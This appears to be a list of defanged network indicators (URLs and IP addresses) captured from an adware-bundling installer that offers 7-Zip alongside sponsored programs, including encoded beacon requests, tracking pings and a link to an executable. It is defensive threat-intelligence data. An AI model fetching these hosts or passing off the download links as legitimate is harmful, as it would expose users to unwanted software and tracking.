hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=043Mckb8Lnj5nRk39lR6RYduf7GeaOfNoOZ8Vy4PwRAQyol6Hp9Rdg0/niVdnGaSOFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHA38xLFtVk1NswOK6/sALrSWwaEnR7xgwaJkIKvOmtNACFMPu/XF4LhJgZ hNipe8AhwsRGINruh3JLgG5QML1bdfZ/rXose/qzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Nr9GadsXJyf8wJBAMv9qBzzcMaZPW8vuY4iq2v I/c FEzUTQA4EDuZtz4s1IP6Cg==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=N6dOqWm8Q95zRTWqMhK925/TkbZ2czqARFu5WRLw5eqMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNorAIjj0a1PU1AA8SD0cBj/uL3JpkNVc2cphfdOL Ldg5ZyZDarH49IiAjgjPt/PhmM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUuPqzfJXqXzjXddlKQXVJ 8C9kGqHQpVkdFMp uC1nK0XTju1BdoOq1	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=jLYfrKkKGYOf05G2dnM6gMMdEYretVH0jA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLwUW7/SYAj5QMPJTqkAn/Sqws3daRPpTCUycqhWdqhet8z6jryDQdl/8SCFqUzxEuK5pBCt6gYiqqnm/0RnoY4Wt00NztRBE6cYCpHZc9ZUaGLbhvor/ikhRQC drCF7eFp6k7 V2K7ZUR9O8Mk8ZR2eIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZUmJkkZ/SgsTZneZ9ZholOaYTB8y98OTDK3dt0g0AbwGhrK97HxxAC0=	54.230.202.140
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=1788e91e-8b19-462a-8e2b-90ae69199b26&Password=p2giThPc&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424736162&SBPIDS=0
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT94pHMK6k0QKwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H181XMstzEWN0GMkWwl748xuHRUPzU7mvNY8ojP9wctSvrRmpLiCB02	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTJ/TkbZ2czqAytjeDMU4p9CMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/xIIWpTPES4rmkEK3qBiKqqeb/RGehjhaz9EnoFhhtFxgKkdlz1lRocKxf5n vItbBDL0iBnLmUkphfdOL Ldgy/AIaTgB 3tjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lj6s3yV6l8413XZSkF1SfvAvZBqh0KVZHRTKfrgtZytF047tQXaDqtQ==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=emKxDesqhYfulzvurkdMtQdO0XLeZfAkQF3UKsSdb2t7HO4WybUyR8Hy4zQ/KuAKHWPGQaBljeFI lMPnLPkSuLt6BhzfOsDBXnWkuh5LzaUfdGpw3nUglF9z0WypnnGstnhkcefCVXiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd	54.230.202.140
hxxp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUUmvGwE2ItoihD9gPpiV Hiz4gguKWlYXdKsmYe6ObrcAGW4B5KF0X3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H181XMstzEWN0GMkWwl748xuHRUPzU7mvNY8ojP9wctSvrRmpLiCB02	54.230.202.140
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=1788e91e-8b19-462a-8e2b-90ae69199b26&Password=p2giThPc&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1424736215&SBPIDS=0
hxxp://www.google-analytics.com/r/__utm.gif?utmwv=5.6.3&utms=1&utmn=235482190&utmhn=installer.filebulldog.com&utmhid=1985456636&utmr=-&utmp=Installer_Init&utmht=1424736154915&utmac=UA-31676879-1&utmcc=__utma=1.1232722804.1424736155.1424736155.1424736155.1;+__utmz=1.1424736155.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=690597220&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~	173.194.113.198
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=LCnUzM5l8JJsK0lFUFVJ7 LyPyzo0umu2kszt4ETYAl4E7mrr1h80sSCFqUzxEuK5pBCt6gYiqqnm/0RnoY4Wt00NztRBE6cYCpHZc9ZUaH6MIOzDij/FhQC drCF7eF njmPLTFBJTHZ0SBJrLapv5CRHcVePUj6EQb8iyo3pFJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8Bj6mgHODYERpZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppxBAEp0wLfKPr3Vpd156CrdCUHeR8YCF3eApPxgKLj6N6btWtv6UslJSmFiEuG/089S40a1ZjOWBZguxgnOukjtBEfG0/PwdpXwZhJEhXGlay571IekL8TPxyvzupEEgr3/q5YzclMBLvgWFQj2kcV7xyMWCiAT0j1cRPsgj09ATGWVswM3H0pJXsf5FShvnrBziLH2Qr4k1HhChPAVLtbIzfR1Le 9Ktyf006tOgHfjhzivM6sfBiPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLOc3vmcjs3clDyU6pAJ/0qsLN3WkT6UwlMnKoVnaoXrfJuII2ynZweY=	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=vjRn qH YuPulzvurkdMteaHkvwiennMQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL11HmS0ZrngqaehpOqw6bJSLjAzOm8FoQAH6fyQqqsNTv1QHs3X92ilEqjHjRwH0s7BD4NsK07Wi5s IILilpWF0zwh6 kBmZAvqDGgi/BDQb5pBCt6gYiqqQwOkBsbXJRjz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0VwgDjjE9zaqi7rjZ7kQENxfp /A/u61jEcbQ9M/8hK0AHtznjR2TecyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLU2v0Zp2xcnJ/zAkEAy/2oHPNwxpk9by 5jiKra/4j9z4UTNRNADgQO5m3PizUg/oK	54.230.202.140
hxxp://www.inixggda.com/files/third/2015/01/16/172511/350/XTab_4.0.2.1716.exe	50.23.120.57
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=vjRn qH YuPulzvurkdMtWtgRtIQv uIQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL11HmS0ZrngqaehpOqw6bJSLjAzOm8FoQAH6fyQqqsNTvYCpHZc9ZUaGLbhvor/ikhRQC drCF7eFimYPbkMVxFbGO705yKW/8 Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa9/CpuCTIAF0=	54.230.202.140
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=qTTPt6qukDH4YOj/qSs/oKjwS4Ev5Aa/fhalIKY8mkHF v7PQ4kXwDEsdSRpTTrrVTOts69f7XE2BNpnG2tVVRHuhwLE3j02YCpHZc9ZUaGeIBkLE7/4yPY1HJKKgNFGbnp1XaZJ5KkSNugKwyxpdGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUPnN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF638Q2bUIan6JCQp/ql BaU3X36Kc9MtkO2A==	54.197.238.106
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.9905477538899743	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppGxrTqW15vZAooxpS5ufgquJVjHmrT0TC9Izr/j1/43JBw5q/V 8gicVOgnEZemiTsynlrkkotjy Xl0kkFbOi1qVYqWbpOfn/D/n8UcWJqtGLHeikaP3tW1f h09PkKgkU9Qe7Lz8ZZBw5q/V 8gicVOgnEZemiTsynlrkkotjxf8h2zaTlq1WzIo4B599h71W7wXr9alHhFIL4F0X4fseztpW8th3Nh0K0sjaOfEW1B092xzGmdx9jHfHsw8mq7XigkLJX7XBGF7Qe2/p5heBnJKiwdbvejBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxL8TCYjPBiaNHAJhVganstyCA1hqBFSRfMm2RFYMv1QV2tgpGq8MXc4J8rnD0zDzgS	54.230.202.140
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=NdvkYMTo1Kv4YOj/qSs/oJak5gO0FUDqsTadiXuEw/FQZA4QTL6INXiz8MvwnC6V7QroWSH/ZBHqMDSi8JPnXntmD8Dkx2dt5mDgmLsXV3a7ZC ZeIWVzh5TX6K4Kv02isFLJEBgOHLzAkEAy/2oHPNwxpk9by 5jiKra/4j9z4UTNRNADgQO1xRaqY4metE7Lbu9v9TOeaO3DXOJ1i6Kt 8c0UlQNB3cBTI8phW9IJGY9nEp85gJK15ZdpF4Jm7BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwxtn8l6bzztEt5NPC8YV 0WEwhL8yu84geU1 iuCr9NorBSyRAYDhy8wJBAMv9qBzzcMaZPW8vuY4iq2v I/c FEzUTQA4EDtqnkbjwhVra3cI0lk4eyzP	54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=qTTPt6qukDH4YOj/qSs/oKjwS4Ev5Aa/fhalIKY8mkHF v7PQ4kXwDEsdSRpTTrrVTOts69f7XE2BNpnG2tVVRHuhwLE3j02YCpHZc9ZUaGCtNyV221ZgGNGUQeeEC1PbNA6ThUAQyrQKPlPto4slFqp2iqeGATE5ze ZyOzdyUPJTqkAn/Sqws3daRPpTCUycqhWdqhet/LdC ehtwbsZAtX799FH7yyT3M6a2fcjGUHHnm5FyJgnYLhlxvbriVN4cHXyV2IG/1JlPKcaeEmRI5LmyoF5AlcrEiEDP1jKqqdT9GIMWRuvUmU8pxp4SZgE9L8wai8UDg/yVe4Z/h4obfQeCZJmDfQ3SGYOTb0QsR0xabMkbgoFk2AtpRMnokIR1sKxPFdTcPMPH2NBVjMkGMkWwl748xuHRUPzU7mvNY8ojP9wctShNKc/l2U9fgN IpjWb5QWR1FmWeqRzIZtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoHOFpZLERjDKYAQkWl KJecj1mEjbWMPAZZWmyv2w9Pl0Az0m 1PmkpVi33qPwefc AZSpRiXLg4A==	54.197.238.106
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=4&index_in_screen=1&index_in_session=4&0.6651464849393311	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=1&index_in_screen=1&index_in_session=1&0.9914435842174836	78.138.127.15
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=XOxRKBm2zlxPNjxRBLtb45w0P6lVvKYPt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqD5OatmcvVLieXHN8cCnmNxJCi6Kflc7uWLazpewXw1jbYKYy91 zfZ5dcTig2boV6xool1mM9zb4KwdVWYfAjLGJ7NLKRj9n2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gc4WlksRGMMpgBCRaX4ol5yPWYSNtYw8BllabK/bD0 XQDPSb7U aSko3Gv nP8wmYBlKlGJcuDg	54.197.238.106
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.03366593064035461	78.138.127.15
hxxp://download.mozilla.org/?product=firefox-34.0.5-complete&os=win&lang=en-US	63.245.217.36
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=4&index_in_screen=1&index_in_session=4&display_height=75&0.38841614464711355	78.138.127.15
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=QHucCbLl /arv6GrtwjWz 6XO 6uR0y1HsPX2pj8kjz7RH4w/5EvdUqAWhGQi7pGk2HxL2Lh3QcOAfDk6wxi8sc5Qjju6WUHhjZ3jwf MfnewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4vCUkFiosfAG27ZJ5jSGyw4HlsMFv6DPGKDUvWJs0s75mmCV7hIWA97G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lyiuy5/oVLbn /EIcMoNBcHzbANYrsS2gc4WlksRGMMpgBCRaX4ol5yPWYSNtYw8BllabK/bD0 X/RyOmuLrtWH3AqTFiqNP5w==	54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=bNFVvuIwcz6f05G2dnM6gNg4XIU0EHZNqLyqyeqrbnpSxKnyZZfBI2bktPzt6Fdq2Mmy0imF8H5kTJzJ6ARN /VXnfpRoYFmqUVvKp9Lg9WpU9MRQHad4Zw4LO6ub5l5rBjqlmzKnb11WfmaK7dF89zNhnv/igXYxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj4 rN8lepfONd12UpBdUn7wL2QaodClWR0Uyn64LWcrRdOO7UF2g6rUmTADg95nKug8SfsOq8sVv	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=043Mckb8Lnj5nRk39lR6RYduf7GeaOfNoOZ8Vy4PwRAQyol6Hp9Rdg0/niVdnGaSOFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHA38xLFtVk1NswOK6/sALrSWwaEnR7xgwaJkIKvOmtNBWOvghCBTr/TdVMo67fxO0s IILilpWF1BbRAuIV9iXcyQG/8 9KQlZQnfaLo2Y6vG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H181XMstzEWN0GMkWwl748xuHRUPzU7mvNY8ojP9wctSvrRmpLiCB02	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=sf5RTiQoQnef05G2dnM6gMMdEYretVH0jA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUW7/SYAj5QMPJTqkAn/Sqws3daRPpTCUycqhWdqhet8z6jryDQdl/7iKIFo3W8f2R2rQBtDpW51ZEkwaxhOT SS94ivFXiTaGK5E2bFODYYoPfCrfVvRJhQC drCF7eFW4i9HDfAHxSn58ZndcT3u/P8mddpznAd5QFz/uOguqr3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyznN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63ybiCNsp2cHm	54.230.202.140
hxxp://wpc.1237.edgecastcdn.net/801237/download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar	93.184.221.133
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUa4chbF8K5U26keK87vbQoUVqC1aQjPYhLH1GFDNCxEsZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKzhaWSxEYwymAEJFpfiiXnI9ZhI21jDwGWVpsr9sPT5fAwCWrSwf7Fw==	54.230.202.140
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=3&index_in_screen=1&index_in_session=3&0.03869277782323843	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUfa HuGTRyAEFAL52sIXt4Ua8Zp/ 13YC87tt5DnIkTUi1f7P6QEzXxsw87geXZcc6iH7TcBEiX6xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9fNVzLLcxFjdBjJFsJe PMbh0VD81O5rzWPKIz/cHLUr60ZqS4ggdNg==	54.230.202.140
hxxp://clients1.google.com/ocsp	173.194.113.192
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=obiBp3WOda9PNjxRBLtb43 uoGbc9PjB/WD6e6SZIIGq9exvwYRubwRSl12vCJvFUaBgE/HaVF3AJhVganstyCA1hqBFSRfMm2RFYMv1QV2tgpGq8MXc4IZf1LqK7dF9 b/YhL9w2PTXoMXpqBnYfbVvgcpeW1zD5i6K0mlT5TWz8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YNYlTZYFVSl7BQeC5LF6ah0oNS9YmzSzvlne8sUdluIdR/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7pLVWI/1cgTJbEk4UnuKEOC ahcxApTUq7emB1plX 3KM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUuPqzfJXqXzjXddlKQXVJ 8C9kGqHQpVkdFMp uC1nK0XTju1BdoOq1	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUQeEuJy eF9fKYX3Ti/i3YMyquPELD4STKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTa/RmnbFycn/MCQQDL/agc83DGmT1vL7mOIqtr/iP3PhRM1E0AOBA7mbc LNSD go=	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT9T0skxmwV AvCKQhXfcYgO0JQd5HxgIXe6hh4TSs5wkW3TZxLuun9qRgWBdCKjfmse7knhGmLBesew/zVg04SETIoScJ/u8QKKysiZqegQvr2IsVHp9lGjc1zL9GkaG63iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WVJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8Boayvex8cQAt	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=obiBp3WOda9PNjxRBLtb43 uoGbc9PjB/WD6e6SZIIGq9exvwYRubwRSl12vCJvFUaBgE/HaVF3AJhVganstyCA1hqBFSRfMm2RFYMv1QV2tgpGq8MXc4IZf1LqK7dF9 b/YhL9w2PTXoMXpqBnYfbVvgcpeW1zD5i6K0mlT5TW6pljsVW0GPgTxIUcsgQ wXg4f2W/FIIe57fKBs7R9TyVbkDkM9cyX4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlSYmSRn9KCxNmd5n1mGiU5phMHzL3w5MMrd23SDQBvAaGsr3sfHEALQ==	54.230.202.140
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.3&utms=2&utmn=1319504778&utmhn=bi.bisrv.com&utmhid=943678377&utmr=-&utmp=Offer_Accepted&utmht=1424736140675&utmac=UA-31676879-1&utmcc=__utma=1.2079935846.1424736079.1424736079.1424736079.1;+__utmz=1.1424736079.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~	173.194.113.198
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUbqfIekNLhs5jgb6v7cXpPsfukqxdW6Kzzz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0V1xu7KMyWvkL2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2p2YPhiksauVx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMCcS8vEZvvJQ==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUQ5Mtw6p9U5dKYX3Ti/i3YOb87aptZLNDMXmaVWxukFWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKzhaWSxEYwymAEJFpfiiXnI9ZhI21jDwGWVpsr9sPT5fAwCWrSwf7Fw==	54.230.202.140
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.3&utms=3&utmn=809616912&utmhn=installer.filebulldog.com&utme=8(sp_slug)9(mystartsearch)&utmhid=1985456636&utmr=-&utmp=Install_Complete&utmht=1424736281744&utmac=UA-31676879-1&utmcc=__utma=1.1232722804.1424736155.1424736155.1424736155.1;+__utmz=1.1424736155.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~	173.194.113.198
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=4&index_in_screen=1&index_in_session=4&0.9615760237737956	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=3&index_in_screen=1&index_in_session=3&0.5401641156762951	78.138.127.15
hxxp://download.filesfrog.com/software_files/7_zip/7zip_32.png	212.7.199.182
hxxp://bi.bisrv.com/installer/ajax	78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=3&index_in_screen=1&index_in_session=3&display_height=90&0.5017355730589932	78.138.127.15
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.3&utms=3&utmn=1466549979&utmhn=bi.bisrv.com&utme=8(sp_slug)9(youtubeaccelerator)&utmhid=943678377&utmr=-&utmp=Install_Complete&utmht=1424736152336&utmac=UA-31676879-1&utmcc=__utma=1.2079935846.1424736079.1424736079.1424736079.1;+__utmz=1.1424736079.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~	173.194.113.198
